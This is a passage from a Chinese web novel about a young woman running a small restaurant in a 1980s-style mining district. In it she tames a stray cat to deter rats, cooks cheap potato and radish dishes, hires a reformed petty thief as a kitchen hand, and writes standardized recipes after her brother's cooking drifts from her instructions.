幸运的是,没发现老鼠的痕迹,大概是它们暂时还没寻到对付水泥的办法,也可能是过年期间各家各户可吃的东西太多,实在是忙不过来,无暇收服失地。 但贺明珠不敢掉以轻心。 老鼠这玩意儿认路还认家,记忆力好得让人恼怒,还有着变态的毅力,认准某个地方是老巢,哪怕历经火烧水淹,千辛万苦也要回来。 要是再让客人在饭店看见哪怕一只老鼠尾巴,煤矿人家就等着步三产饭店的后尘吧。 过年前闭店时可以竖壁清野,后厨连一块土豆皮都看不见,但平时正常开店总得存货备菜,也不能天天晚上都来这么一招。 贺明珠本来还在发愁,正琢磨要不要捉一只小猫来养时,就有猫就自己送上了门。 那只上门偷肉的狸花猫被她带了过来,拴在了收银台旁。 贼猫脾气特大,被人从柜底拽出来时,它直接一个原地起飞,四爪疯了似的挥舞,差点没把离他最近的贺明军给挠破了相。 好不容易用旧棉衣裹着带来饭店,贺明珠松开棉衣放下猫,贼猫乍得自由,连连后退,直到后背抵住墙。 它全身毛发奓起,喉咙中发出低沉的呜呜声,见人靠近便如眼镜蛇般暴起,伸爪就要挠人。 就这庞大体型,就这桀骜神色,就这噬人姿态,贼猫爪下没个百八十条的鼠命都说不过去。 这猫往饭店这么一放,老鼠以后得给这儿打上“禁地”标签,见着了都得绕着走。 贺明珠蹲身对贼猫说:“不劳动不得食,社会主义的猫也得接受劳动改造。你在牢里好好干,出狱了我送你一份豪华绝育套餐。” 贼猫:喵喵喵?! 听听这是人说的话吗?! 贼猫不接受人类招安,嗷嗷嗷破口大骂,骂得还挺脏,隔着物种语言壁垒都听得懂。 贺明军就忙里抬头喊贺明珠一声:“离那猫远点,小心被它挠到!” 招惹完小猫,贺明珠神清气爽,扬声道:“放心,我离着远呢。” 转头就悄悄对贼猫说:“嘿嘿,我等下还来,有本事你挠我呀~” 贼猫:?人类都这么癫的? 到了饭点,今天来吃饭的客人不多,零零散散落座,一半的位置还空着。 刚过完年,大部分人在家吃得脑满肠肥,平素里吃不着的好东西,这两天填了满满一肚子,吃的人奢侈地感觉腻得慌,还有点怀念咸菜小米粥。 也有人过年没吃好,要么是囊中羞涩,平时吃白菜炖土豆,过年吃土豆炖白菜;要么是家里人太多,一锅肉左分分右分分,分到自己头上就剩个底。 赵计划和刘爱民属于后者。 这俩坐下就点菜,照例先各点两道大荤,接着合点一份素菜,最后是主食。 菜一上来,两人顾不上说话,操起筷子埋头苦吃,快得简直像在参加什么大胃王比赛。 唔,小摊主的手艺就是好! 这俩小年轻吃得太香,带动店内其他食客也胃口大开,原本还一筷子接一筷子地夹菜,这会儿直接抱起了碗,筷子如铲斗,唏哩呼噜往嘴里倒食物。 赵计划两只手攥着棒骨大啃特啃,一抬眼,发现饭店不碍事儿的角落里拴了一只狸花猫,个头大得像只小狗,一双竖瞳盯着人,看着就凶得很。 他的嘴占着,就用胳膊肘猛戳刘爱民。 刘爱民看见猫就喜欢,从自己盘子里捞出一块羊杂,嘬嘬嘬要喂猫。 大狸猫一点面子也不给,弓起了背,弹射起来就攻击,幸好它飞起到一半,被绳子拽回去了。 刘爱民余悸未消,吓得手里羊杂都掉了,悻悻坐回椅子上。 赵计划偷笑:“该,猫有什么好的,要是狗的话这会儿早就主动来找你玩了。” 刘爱民嘴硬:“饭店就得养猫,养了猫才能防耗子。养狗又没用,狗拿耗子多管闲事。这猫一看就厉害,我看有它在,这饭店以后都不会有耗子。” 这不只是刘爱民的个人观点,凡是来煤矿人家吃饭的客人,都被收银台边拴着的巨大一只狸花猫吓了一跳。 吓完了反倒感觉安心,吃起饭都更有滋味了。 别说什么耗子不耗子的,没看见饭店里拴了那么大一只猫吗? 那猫长得一看就很镇场子,爪下不知多少老鼠亡魂,最调皮的小孩都不敢过去招惹。 来来往往的人太多,贼猫很快就没力气见人就哈,疲惫地默许了人类出现在它一米之内。 有家长带着孩子来吃小灶,小孩活泼,见了猫就“咪咪咪咪”地直喊。 被抓壮丁服徭役的贼猫生无可恋地窝成一个球,默默用爪子捂住了脑袋。 早知道偷口鱼肉就要被奸诈人类逼着卖身还债,它当初怎么就没忍住呢呜呜呜…… 都说由俭入奢易,人是这样,猫也是一样。 贼猫渐渐习惯了被人类圈养的生活。 它个头大,生得凶狠,一双竖瞳虎视眈眈,看着就不好惹。 可偏偏人类犯贱,越是不让摸,就越想碰,总要拿肉来勾搭小猫咪。 面对糖衣炮弹,贼猫原本是很坚定的,糖衣吃下,炮弹丢开。 可那个长毛的奸诈人类拎了根痒痒挠过来。 “嘬嘬嘬,小咪过来~” 贺明珠拿着做菜剩下的肉条,在贼猫眼前摇晃。 贼猫:哼!谁是小咪! 它斜着毛脸,眯缝着一双吊梢眼,看也不看这个人类。 贺明珠却不放弃,用手扇风,把肉香味扇向贼猫。 “嘿嘿嘿,香不香,馋不馋,想不想吃呀?” 贼猫动了动耳朵。 好像,肚子有点饿了…… 都怪人类,明明之前它三天吃一个老鼠都过得很好,现在却被按一天三顿地投喂,硬生生喂大了它的胃口,一顿不吃就饿得慌。 人类狡猾地注意到了小猫咪的动摇。 贺明珠将肉挂在痒痒挠上,伸到了贼猫面前。 贼猫猛然弹起,下意识就伸爪子去拍痒痒挠,同时呲牙“哈”出声。 痒痒挠被打得一歪,肉条就掉到了地上。 贼猫嗅一嗅,迟疑地低下头,舔了一小口,顿了顿,接着又是一口。 这肉可真香啊,比它吃过最肥的耗子都要香。 贼猫拿眼睛盯着人类,慢慢低下头,啊呜一口将肉咬到嘴里。 人类笑眯眯的,没有靠近,也没有动作。 贼猫撕扯着肉条,吃得投入极了,丝毫没有注意到,有什么东西偷偷摸摸地靠近了它。 贺明珠拿着痒痒挠,轻轻地在贼猫身上抚过。 贼猫忽然停下动作,嘴里叼着肉,斜眼去看人类。 贺明珠催眠道:“快吃快吃,吃饭不积极思 想有问题~正经小猫咪哪有不积极吃饭的?” 贼猫想躲,但脖子上套着的绳限制了它的逃跑范围,人类的痒痒挠无处不在。 而且,好像还有点舒服是怎么回事…… 贼猫的小脑袋瓜无法同时处理肉条和痒痒挠,肉条太香了,它叼着时口水滴答下来,最终忍不住,还是先吃肉。 与此同时,人类握着痒痒挠,柔和地去刷它背上的毛。 一根肉条吃完,贼猫腾出心思,要专心对付痒痒挠。 可人类却施施然收了手,没给它攻击的机会。 “唔,这小猫咪摸起来也不过如此,走了走了。” 贼猫:? 贼猫:人类,你看起来好像有点病。 下一次,人类又来了,以及一碗剁碎了的肉糜,里面拌着不小心磕碎了的生鸡蛋。 “嘬嘬嘬,小猫来食~” 贼猫不情不愿地过来,狼吞虎咽地吃肉,尾巴尖愉悦的左右摇晃。 人类拿出痒痒挠,给贼猫挠耳朵根。 贼猫甩了甩尾巴,有点不耐烦,但又没烦到要打人的地步。 算了,先忍,等吃完再说! 一碗肉糜鸡蛋拌饭吃完,贼猫舔舔嘴巴,满心都在回味。 不知道为什么,今天这顿饭吃得格外香,格外舒适呢…… 突然它察觉到一点不对,却是人类收走了痒痒挠。 “什么待遇啊,吃饭还搭配按摩,走了走了,你这太奢侈了。” 贼猫:! 原来刚刚很舒服的感觉是人类在拿痒痒挠给它顺毛! 贼猫的世界观崩塌了。 可过了一天,当人类再次拎着痒痒挠过来时,贼猫犹豫了一下,才缓慢地哈了一声。 “没吃饱啊你,怎么骂人都有气无力的?” 奸诈人类不满道:“大点声,用力点,像你之前那样,哈——” 她还模仿上小猫咪了! 贼猫恼羞成怒,用力哈了一声,四颗小尖牙都露了出来。 人类满意道:“嗯,这还差不多嘛~” 贼猫:…… 世界太癫狂,人类来找骂,它想回乡下抓老鼠。 就这样,奸诈人类左手拿肉,右手痒痒挠,得空就来骚扰贼猫。 贼猫从一开始的奋起反抗,到现在哈都懒得哈一声,连痒痒挠都不殴打了。 人类遗憾道:“小咪咪,我还是喜欢你之前桀骜不驯的模样。” 贼猫连眼皮都不抬一下。 人类一边拿痒痒挠给贼猫梳毛,一边说:“宝宝咪,要不你再表演一下,就是那个,很凶残的那个……” 贼猫翻了个身,拿屁股对着人类。 人类就默契地拿痒痒挠给它的另一面身体梳毛。 梳着梳着,毛发上传来温暖的触感,接触面也变大了,是和痒痒挠完全不同的感觉。 “这猫睡着了吧?这么摸都没反应啊?我可都上手了啊……” 贼猫背对着人类,一双猫眼半睁半眯,尾巴尖微微颤动。 原来,人类的手除了会打猫,还可以用来这样温柔地抚摸。 每一下,都像是摸在了它的心上。 原来,它不是天生就讨厌人类啊…… 不远处,传来雄性人类的声音。 “明珠还和那猫逗乐子呢?” “嗨,她打小就喜欢这些带毛的,要不是咱妈不让养,家里早就一堆小猫小狗了。” “咱妈为什么不让养啊?” “妈说了,家里张嘴等吃的已经够了,不能再多了。” “……老大,听这意思,你怎么连自己都骂进去了?” “胡说!咱妈分明骂的是你们仨!” “放屁,你也是张嘴等吃饭的!你丫现在都不会做饭!” 两个雄性人类掐了起来,贼猫沧桑地把偷听的耳朵转回来。 人类,果然还是一种烦猫的生物…… 初春时,正是小奶狗大批量上市的时候。 有客人带着小奶狗来吃饭,顺手将狗放在地上。 贼猫视线跟着小奶狗,两只眼睛滴溜溜地转。 小奶狗不知世间险恶,懵懂地四处溜达,直到走到贼猫的活动区域。 贼猫伏低身体,悄咪咪地爬出来,毛茸茸脚垫轻轻落下,无声无息地朝小奶狗潜行过去。 嘿嘿,终于有比它小的生物能欺负一下了! 眼见小奶狗就要进入贼猫的攻击范围,忽然一双手伸过来,将狗抱了起来。 奸诈长毛人类惊喜道:“好可爱的小狗子!” 奸诈人类疯狂撸狗。 贼猫:等等,狗有什么可爱的,你不想来摸摸小猫咪吗? 破天荒的,贼猫头一次主动向人类靠近,毛茸茸的大尾巴轻柔拂过她的腿。 贼猫:人类,我允许你摸我。 奸诈人类:“嘿嘿嘿,奶香味的小狗狗~” 贼猫:? 贼猫愤怒地用尾巴重重抽打了一下人类。 喵了个咪的,花心的人类,就多余搭理她! 第57章 第57章开店日常 自从开了饭店,有了固定根据地,不用来回跑动摆摊,贺明珠的做饭热情完全被激发起来,每天变着花样地换菜单。 虽然食材依旧只有土豆萝卜大白菜,然而,在她的手下,却将有限食材做出无限滋味。 今天是土豆丝饼,土豆去皮切丝,加盐拌匀,倒一点面粉定型,上锅煎至两面焦黄,三分钱一张饼,刚出锅就被人抢光。 食客们顾不得烫,两只手左右倒腾着拿饼,不等晾晾便急不可耐地湊上去来一口,又香又脆,吃起来有股淡淡的咸味,好吃! 明天是萝卜丝饼,同样去皮切丝,拧干水分后和入面粉捏成团状,放到锅里啪啪啪连续几下按扁,热锅里煎得滋啦作响,香味儿一下就飘了出来。 有人不喜欢萝卜,嫌吃起来有股子辣味,吃多了还胀气。 看到饭店今日菜单有萝卜丝饼,这人本来有些不喜,但看着后厨刚煎好的一锅饼,端出来就被哄抢一空,有的人吃完一张饼,扭头又喊:“服务员,再来一张!” 他纠结要不要买一张尝尝,结果又看到新出炉的一锅饼分分钟全卖完,这下坐不住了。 “服务员,也给我来一张!” 热油煎锅的萝卜丝饼没有丝毫的辛辣味,一口咬下去,外壳酥脆焦香,里层清甜软糯,惊艳极了,简直让人不敢相信这居然是用萝卜做出来的。 除此之外,土豆切丝切片凉拌热炒,排列组合式变换吃法。另有土豆泥沙拉,中式调味拌骨汤辣酱,西式吃法加黄瓜蛋黄酱,简简单单一个土豆就玩出了十八般花样。 贺明珠还将萝卜切块熬例汤,撒上一把葱花,来客就送一碗。 和大部分北方人一样,乌城人没有喝汤的习惯。 但既然店家免费送汤,客人们便欣然接受。大冬天喝上一碗热乎乎的汤,滋味鲜美,在寒风中冻麻木了的肠胃都在这流淌的暖流中苏醒过来,一时间胃口大开。 俗话说得好,冬吃萝卜夏吃姜,冬天就要吃萝卜清解里热,去火化痰。 经常在煤矿人家吃饭的客人,不经意间,在饮食中完成了日常的养生。 他们不知道为什么,只知道去煤矿人家吃饭后不仅心情好,身体更好,原本还有些咽痛痰淤的小毛病,喝了几次萝卜汤后,不知不觉就消失无踪。 饭店生意越来越好,原材料的消耗量也变大,许大舅赶着驴车来送了两次货。 第一次还只有他自己,天不亮从村里赶着车来到矿区,卸完货略歇了歇,又急着回村——“巧燕在家做粉条呢,我得赶紧回去帮她削土豆皮!” 第二次表哥跟来了,在饭店四处张望,被许大舅呵斥了一声,才依依不舍地出去喂驴。 许巧燕没来,让大舅捎来一大包自制土豆粉条,粗细不匀,颜色发黄,卖相不怎么地。 许大舅挺不好意思地说:“第一次做,没做好!巧燕还想再练练,我让她别糟蹋东西了,还是先给你看看,要是不行的话,这粉条作坊就别开了。我还能挣钱,亏不了她和灵灵的!” 贺明珠看了看粉条,闻了闻,又掐下来一小段尝了尝。 “挺好的,正宗的农家土豆粉条,卖得出去,让表姐放心做吧,做出来的粉条我都收。” 许大舅喜不自胜,喂完驴凑过来听了一耳朵的表哥也心动了,腆着脸说: “能不能让你嫂子也去做粉条?反正她在家只是带孩子,闲着也是闲着,不如去挣点钱。” 贺明珠笑眯眯地说:“我说了不算,你去问表姐,她说行就行。” 表哥当 面不敢说什么,心里嘀咕:你出的钱你说了不算,哄谁呢? 转头就琢磨,看来得回去和妹妹说点软话了,要不去供销社给灵灵买几块糖? 在贺家人的极力挽留下,许大舅勉强留在饭店吃了顿饭,一再强调要简单家常饭,不许上棒骨,那得卖出去挣钱,听得表哥直撇嘴。 贺明珠阳奉阴违,转手用许巧燕送来的土豆粉条做了道猪肉白菜炖粉条,肥肥的做了一大锅。 猪肉片半肥半瘦,切得极薄,肥肉吃起来一点也不腻,一口咬下去只觉软糯。 粉条吸饱了汤,筋道Q弹,不用怎么嚼,吸溜吸溜就滑进了肚子里。 贺明国贺明军两兄弟一边享受美食一边发愁,照这么吃下去,裤腰带还得再放宽。他们年纪轻轻的,不会就要长出大肚腩了吧? 贺小弟年少不知发胖的愁滋味,每天腆着小肚子,在家属区小伙伴们面前嘚瑟自家做的好吃的。 “看,这都是我姐做的!” 他往嘴里塞一大口萝卜丝饼,边嚼边口齿不清地说:“我姐做的饭是全世界最好吃的!” 小伙伴们被馋得口水直流,和他最不对付的小胖子低声下气地问:“能不能给我也吃点?” 贺小弟和小胖子打过架,还被对方父母找上家门告家长,害得他被大哥狠狠抽了一顿屁股。 此等深仇大恨,贺小弟本想拒绝小胖子,忽然头顶灯泡一亮,他机智地说:“谁认我当老大,我就给谁吃!” 认谁做老大就要服谁的管,一片地界上只能有一个孩子王。 小胖子急了:“谁稀罕,不吃就不吃,你不是老大,我才是老大!” 但其他小伙伴早都被馋得受不了,纷纷叛变投敌。 “老大!” “贺老大!” “老大给我吃一口!” “我也要!” 贺小弟谋权篡位成功,得意地哈哈大笑,手上萝卜丝饼掰成小块分发出去,就跟投喂流浪猫似的,来者有份。 小胖一看没人理他,气得一跺脚。 “我不和你们玩了,我要告我妈!” 贺小弟做鬼脸:“略略略,我还不带你玩呢,你这个告状精!” 小胖子气得哭着跑走了。 贺小弟有点心虚,但在一声又一声的“老大”中逐渐膨胀起来。 哭算什么,他可是老大! 贺明珠不知道贺小弟在家属区的孩子中闹出的这场小风波,她现在太忙了,每天睁开眼就是一堆饭店的事等着人处理。 过年时,刘燕带着刘婶做的一笼杂粮包子来家拜年,寒暄中提起她年后就不来帮忙了。 受贺明珠启发,她也想要做点小生意。 “我以前去地摊上买东西,那些摆摊的人远远看到了穿制服的,拿床单把东西一裹就跑,跟打游击似的,跑晚了不仅东西要被没收,人还要被关进去。不用我妈说,我都没那个胆子去摆摊。” 刘燕对贺明珠说:“可看到你,我觉得人不能太胆小,总自己吓唬自己。要是不去尝试的话,怎么知道自己不行?” 贺明珠问她:“你打算做什么生意?” 刘燕说:“我还没想好,不过听说浙江有个地方货物特别全,我打算过去看看,合适的话就进货回来卖。” 贺明珠鼓励道:“等你回来,我做你第一个顾客。” 刘燕踌躇满志又不好意思地笑了。 少了一个劳动力,虽然有贺明军顶上,但饭店工作量和摆摊时相比,简直是一个天上一个地下。 每天饭店都会有一大堆活儿等着人干,扫地擦桌洗碗洗菜,忙得贺明军回家倒头就睡。 贺明珠还得强忍着疲惫,将一天的账算好,钱点数后存在铁箱子里,最后再列好第二天的菜单。 贺明国和齐家红都来帮忙,就连贺小弟都会似模似样地拿块抹布擦桌子。 但还是不够。 每天的用餐高峰期时,贺明珠和贺明军一个后厨一个前厅,两个人像两颗疯狂旋转的陀螺,忙得恨不能练影分身术,面对无数客人提的无数要求,只恨分身无术。 这天,送完最后一位客人,贺明珠一拍桌子,招人,必须招人! 第58章 第58章送上门的饭店杂工 招聘启事才贴出去,立马就有人上门应聘。 “听说你们这儿招打杂的?” 应聘者掀开门帘,刚进饭店就和贺明珠撞了个脸对脸,双方皆是一愣,下一秒应聘者转身就要跑。 贺明珠眼疾手快,一把拽住他的衣领。 “来都来了,跑什么跑,进屋说话。” 应聘者被她拽得一个趔趄,无奈转过身,正是那天偷年货的胡子男。 他被贺明珠拿住了把柄,不得不按她的指使,大半夜到贺家爬墙装贼,结果被贺明国挥着斧头追了大半个家属区,险些没把他头皮削掉。 天寒地冻,他跑得一头是汗,好不容易甩掉追杀者,回家的路上被冷风一吹,当天夜里就发起烧来,破屋冷炕的,连杯水都没人帮倒,病得他差点下不来地。 得亏年轻,免疫系统工作卖力,没医没药的,硬生生让他熬了下来。 胡子男病中痛定思痛,决心以后再不做贼,从此洗心革面,找个正经单位在阳光下工作。 但他没学历没背景,个人履历又劣迹斑斑——文g时对抗组织,之后装病逃避插队下乡,被强行扭送云南后又伙同当地知青闹事,没得到批准就偷偷摸摸扒火车返城,一整个五毒俱全,正经单位连门都不让他进。 胡子男碰壁一圈,心灰意冷中想要重操旧业,撬井盖去卖钱。 正寻摸趁手工具,路过一家小饭馆,门口贴着招聘启事。 胡子男脚步一顿,鬼使神差就走了进去。 贺明珠笑眯眯地打量胡子男,他剃光了杂草似的胡子,又将乱糟糟的半长发剪短,露出一张过分年轻的脸,看着和贺明国差不多年纪。 他被贺明珠盯得浑身不自在,破罐子破摔地说:“既然落在你手上,要杀要剐都随你,只一句,我是绝对不会再去爬墙装贼。” 一次就冻掉半条小命,再来一次,只怕一整条命都不够用。 贺明珠啧了一声,说:“什么要杀要剐,你当这儿是孙二娘包子铺,我这开的可是正经饭店。” 听到这话,胡子男怀疑地看了看贺明珠,没吭声。 他还记得上次那个拿着斧头狂追自己的那人,要不是他跑得快,只怕要被细细地切成臊子,一半放豆瓣酱甜面酱炸香后做成炸酱面的酱,一半放葱姜调味后做成肉包子的馅儿——这能掉以轻心吗?! 贺明珠轻咳一声:“我们用的棒骨都是从肉联厂进货的,正经的猪棒骨。” 她特地在“猪”字上加重音,胡子男不为所动,一脸“妈的不小心进黑店了”的视死如归。 贺明珠索性单刀直入:“你来应聘杂工?你叫什么名字?” 胡子男警惕地瞪着她,嘴巴闭得死紧,一个字也不说。 后厨大灶上正卤着棒骨,香气溢满整间饭店,像一只红酥手,妖娆地在胡子男的心尖上挠来挠去,直勾得他心猿意马。 他好几天没吃过饱饭,家里没钱买煤,饿了就喝冷水充饥,该说不说,生红薯啃起来有股子甜丝丝的味儿,不比煮熟了的差。 但人类就是对热量和油脂拥有极度渴望,这是刻在基因里的本能,越压抑越反弹。 要不是闭着嘴,胡子男现在连口水都快兜不住了。 贺明珠见他的注意力若有若无往厨房飘,心里一动,立刻就想到撬开这个人形生蚝的法子。 “杂工每月工资二十,包三餐,跟着主家吃,我们吃什么你就吃什么。哦对了,我家人喜欢吃肉,每顿都要有个荤菜,你要是介 意的话,我可以给你换成素的。” 话还没说完,胡子男急道:“不介意!” 甫一开口他就后悔了,贺明珠以一种似笑非笑的神态瞅他,像是在说:装,你倒是给我继续装啊。 上当了。 胡子男羞愤欲绝,想头也不回奔出门外,但再一想到杂工包三餐,两条腿就沉重得怎么也挪不动。 他垂头丧气地捂住眼睛,肚子不合时宜地发出了一阵叽里咕噜的肠鸣声。 ……他看起来快要哭了。 贺明珠看了一小会儿热闹就体贴地放过了他。 “这下你可以告诉我你叫什么名字了吧。” 胡子男沉默了一会儿,不情不愿地吐出三个字。 “徐和平。” “哦,徐和平是吧,我们饭店杂工的待遇就是我刚刚和你说的,比不上国营单位,但在矿上也算不错了。你要是有意向,就把这张表填了,再试个工,要是没问题的话,你明天来上班。” 徐和平一边腹诽:杂工还要填表,一边老老实实接过纸笔,把他的姓名住址身份证号都写了上去。 贺明珠接过填好的表,随手指了指后厨,让他把里面的碗洗了。 徐和平一掀帘子,一眼望过去,后厨地上大盆里摞得满满当当的脏碗,简直像把几天用过的碗都攒到今天来洗了。 这不摆明了欺负试工的人吗?! 他当即就是呼吸一窒,真想摔帘子就走。但他实在需要这份工作,咬牙切齿了半天,忍气吞声地蹲下来开始洗碗。 贺明珠看完表,里面内容填得没问题。真没想到,这家伙的字写得不错,有棱有角的,字里行间很有一份傲骨。 她去后厨找人,要是干活还行的话,就是他了。 掀帘子一看,贺明珠大惊:“你怎么把碗都洗了?!” 短短几分钟,大盆里一多半的碗都被洗完,徐和平拿着丝瓜瓤,蹲在地上吭哧吭哧刷着剩下的碗。 听到贺明珠的话,徐和平闷声闷气地说:“不是你让我洗碗的吗?” 贺明珠啼笑皆非:“我的意思是你洗几个碗证明一下工作能力就行,没说让你把碗都洗了啊。” 徐和平动作一顿,看看碗,又看看贺明珠,脸上的表情比黄连都苦。 一个大男人可怜巴巴窝在地上,简直像只被主人赶出家门的淋雨小狗。 贺明珠看了于心不忍,说:“算了,从今天开始算上工,等下你别走,和我们一起吃饭。” 徐和平响亮地应了一声:“哎!”手上更起劲地刷起碗来。 贺明珠吩咐一句:“洗完记得用开水煮一遍消毒。”接着便去准备今日份员工餐。 做餐饮的最大痛苦就是当别人在吃饭的时候你只能看着,等终于轮到自己吃饭时,离饭点已经过去了很久。 越是不能好好吃饭,就越是要每一顿都吃好。 贺明珠将绿豆泡水,罩一层纱布,再压一块石板,放在最热的炕头上,过了几天后就生出一盆粗壮雪白的豆芽。 起油锅炸辣椒花椒,炸香后倒入洗净沥干的绿豆芽,灶台火旺,加调料快速翻炒几下,豆芽断生就出锅。 炒好的绿豆芽口感脆嫩,入口酸辣鲜香,配饭吃香极了,连盘子里的汤汁也要刮干净。 再切一只大冬瓜,去掉较硬的青色瓜瓤,只留中间位置的白色里肉,切碎后放入肉汤中熬煮,加盐勾芡,少少撒一把虾皮,做成浓浓的一锅冬瓜糊。 这本来是江南一带的家常菜,正宗做法是要加虾仁、蟹粉和火腿,但条件有限,只能将就用虾皮提鲜。 但对于从没吃过冬瓜糊的乌城人来说,这道菜入口即化,无须咀嚼,舌头上裹着陌生又鲜美的滋味,吃起来新奇又满足,好吃极了。 除了一菜一羹,贺明珠还做了一道硬菜。 由于经常去肉联厂后门拉骨头,贺明军很快和车间工人混熟,称兄道弟起来,并从他们手中加价买了四只猪前蹄并一条猪尾巴。 贺明珠见猎心喜,两只前蹄和猪尾巴拿去卤制,两只拿去做雪豆蹄花。 砂锅里放猪蹄雪豆,清水煮沸后加入姜块料酒,猪蹄炖到将烂未烂时,加盐和味精调味,和用辣酱调的味碟一并端上桌。 卤好的猪蹄猪尾巴香糯弹牙,肉皮丰腴;蹄花炖得软烂,滋味醇厚,一口下去满满的胶质,吃多了上下嘴唇都感觉要被粘住。 贺小弟年纪小,抱着猪尾巴吃得满足,一口小米牙细细地啃,从上到下,一边啃一边噗噗噗往出吐骨头,简直是豌豆射手。 贺明国和贺明军人手一只猪蹄,大快朵颐,吃得头也不抬。 徐和平虽然是第一次来,在饭桌上吃得比两兄弟都凶,一双筷子使得飞起,狼吞虎咽,简直像饿了十天十夜的鬼子进村。 直看得贺明珠目瞪口呆,几乎想反悔把包饭的福利撤销。 对于新招的杂工徐和平,贺家两兄弟的态度不尽相同。 贺明国:“你别离他太近,有什么事让你哥去说,平时别单独和他待着,也少和他说话,他要是敢做什么越界的事,你马上告诉我,我替你收拾他。” ——这位是拳拳爱妹之心的老父亲心态,生怕外来的猪供了自家的小白菜。 贺明军:“这人不错。” 等下文的贺明珠:“然后呢?这就没了?” 贺明军奇道:“你还想知道什么?” 贺明珠掰着指头数:“人生经历啊,家世背景之类的,比如说家里有几口人、几门亲戚,来饭店打工之前是干什么的,为什么要……” 她紧急刹车,差点把这家伙偷年货的事儿秃噜出来,好险。 贺明军把这当成了少女的羞涩,立刻就警惕起来:“你打听他干什么?小姑娘别瞎打听,他好好干活就成了,其他的事我去调查,不用你操心。” ——得,这位也是老父亲心态。 不过徐和平吃的多,干得也多,一个人包揽了全部洗菜洗碗扫地擦桌的工作,直接将贺明军从繁杂的体力劳动中解放出来。 于是,贺明珠琢磨了很久的大厨禅位、传承大勺之事终于能提上日程。 第59章 第59章开启标准化流程 寒假快结束了,贺明珠要回学校继续上课。 虽说不打算按部就班的上学毕业分配工作,但她对学历还是有那么一点要求的。 毕竟这年头能考上大学的都是天之骄子,在二三十年后会成为各行各业的领军人物,并织成一张错综复杂的人脉网络。 平台决定视野高度,小饭店只是开始不是结束,外面是更广阔的天空。 未来是星辰大海,眼下是鸡毛蒜皮,雄心壮志先放一边,首先,贺明珠得确保她去上学后,煤矿人家不会停摆关门。 作为饭店灵魂、核心大厨,常客们吃惯了贺明珠的手艺,舌头养得刁钻,对饭菜品质的要求越来越高,平时宁愿少抽两包烟少买两瓶酒,也要省下钱来小饭店搓一顿。 这也使得老贾之流的山寨小贩在抢客户时,比不过味道只能拼价格,卷起了价格战。 但面对越来越微薄,甚至开始呈负增长的利润,缺少后备雄厚资金支持的情况下,老贾们也只能饮恨败北。 但与此同时,这也给煤矿人家带来了很大的经营压力,而且主要压力都给到了唯一的大厨贺明珠。 物美价廉这四个字说起来容易,但做起来难。 贺明珠想过要不要招一个有经验的厨子,但问题是,能达到她要求的厨师的工资高,能接受小饭店工资的厨师水平差,两全不其美,要么含泪加工资,要么捏着鼻子忍耐差厨艺。 关键是,她可以忍耐食物不好吃,但客人们乐意忍吗? 又或者说,在饭菜质量不变的前提下,每道菜价格提高150%,生意还能像现在这样兴隆吗? 答案显然是否定的。 贺明珠思前想后,瞄上了在店里哼着歌擦桌子的帅气二哥。 “二哥,等开学了,你替我掌勺呗。” 荒腔走板的歌声一停,贺明军想也不想地拒绝:“我不会做饭。” 贺明珠死鱼眼:“……哥,以前你嫌大哥做饭不好吃,咱家都是你做饭。” 贺明军大言不惭道:“那是以前,现在和你一比,我都不好意思说自己会做饭,纯属乱炖一锅,煮熟完事儿。” 他扔下抹布,转身对贺明珠说:“要不哥给你联 系个厨子,人家专业,我嘛,就洗洗碗扫扫地,干点打杂的活儿。” 贺明珠更无语了:“……哥,打杂的事儿有徐和平。” 贺明军顺滑无比地改口道:“我就收收钱镇镇场子,替你看着厨子和杂工,勉为其难当个店长吧。” 贺明珠不忍了,飞扑而上,挂在二哥身上使劲摇晃他的肩膀。 “还招厨子!还当店长!我都没给自己发过一分钱工资,你还要从外面招个厨子分薄我的利润!煤矿人家不养闲人,从今天起你给我去后厨掌勺!” 不客气地说一句,个体户发家的第一桶金基本是靠压榨家庭成员的劳动力,全家齐上阵将用工成本压到最低。 浙江的小厂子里,经常是当爹的开动机器做工,当妈的行政财务一把抓,做儿女的出去开车送货,要是再加个儿媳女婿,那打包发货、去税务局报税的人有了。 一家人通通不发工资,工人还会做六休一、逢年过节放假回家,老板全家住厂里,全年无休,时刻准备接单开工。 在业务规模和经营状况没有达到外部融资和银行贷款的门槛时,做生意的第一笔资本往往就是这样艰难地一分一毫攒下来。 自从开始摆摊,贺明珠第一个剥削的人是自己,每次算成本都不包括她的劳动价值, 看着挣了不少,实际上收入扣掉原材料成本后,剩下都是她天天零零七干活的血汗钱, 后面开了饭店,只压榨自己已经不够了,索性将大哥二哥小弟一起拉来干活。 挣来的钱一半用来扩大经营,一半拿去还了家里的债,贺家三兄弟出点力,也是应该的……吧? 贺明军拗不过妹妹,被强压着摁进了后厨。 他有做饭经验,又经常旁观贺明珠掌勺,真要做起来也是像模像样的。 贺明珠满意道:“早配合不就好了嘛,害我不得不殴打亲哥,多破坏我的形象呀~” 贺明军幽怨瞪她一眼。 他离走私大业是越来越远了…… 不等开学,贺明珠就让贺明军在后厨开始试工,她在旁辅助加指点,成功将大厨皇位禅让了出去,实现了朝代的平稳更迭。 贺明珠松一口气。 但显然,她这口气松得有点早。 经常来店里吃饭的小青工在结账后,悄悄对贺明珠说:“是不是换厨师了?怎么吃着和以前感觉不太一样?” 也有隔三差五来打牙祭的中年人抱怨道:“老板怎么回事儿,这味道不对,你们家这是什么情况?” 如果是一个两个人说,那可能是个人口味的问题。但说的人多了,贺明珠拿了双干净筷子,捡客人吃完后盘子里剩下的菜尝了一口。 下一秒,她端着盘子,龙卷风一般冲向了后厨。 “二哥,你怎么改我菜谱!” 贺明军一手颠锅一手挥铲,大厨架势摆得很足,听了贺明珠的话,他有些惊讶地说:“没改啊,还是按你之前说的做的。” 贺明珠也不觉得二哥是阳奉阴违故意使坏的那种人,那问题出在哪里? 她留在厨房,全程围观贺明军的做菜过程,看得她额头青筋一跳一跳又一跳。 “二哥,你怎么盐放了多半勺?” “哥,你为什么要拿白醋替代陈醋?” “油还没热你怎么就把菜倒进去了?!” “不是,谁告诉你这道菜要放酱油啊!!!” 贺明军全程无辜脸。 “盐多盐少差不多吧。” “陈醋用完了,白醋也行吧。” “这油不是已经热了吗?” “酱油上色好看啊。” 贺明珠痛心疾首:“我的亲哥啊,你知道做饭最忌讳的是什么吗?是灵机一动啊!” 她痛定思痛,连夜起草标准化做饭流程及定量菜谱,从起锅烧油要用多大的火,到炒菜要用多长时间,再到什么时候放调料,什么时候大火收汁,通通细化成一条条的具体操作细则。 对着一尺长的菜谱,贺明珠顿悟,这不就是麦当当肯豆基的量化制作流程吗?想要保证由不同厨师掌勺时菜品质量不下滑,唯有标准化操作才是王道啊! 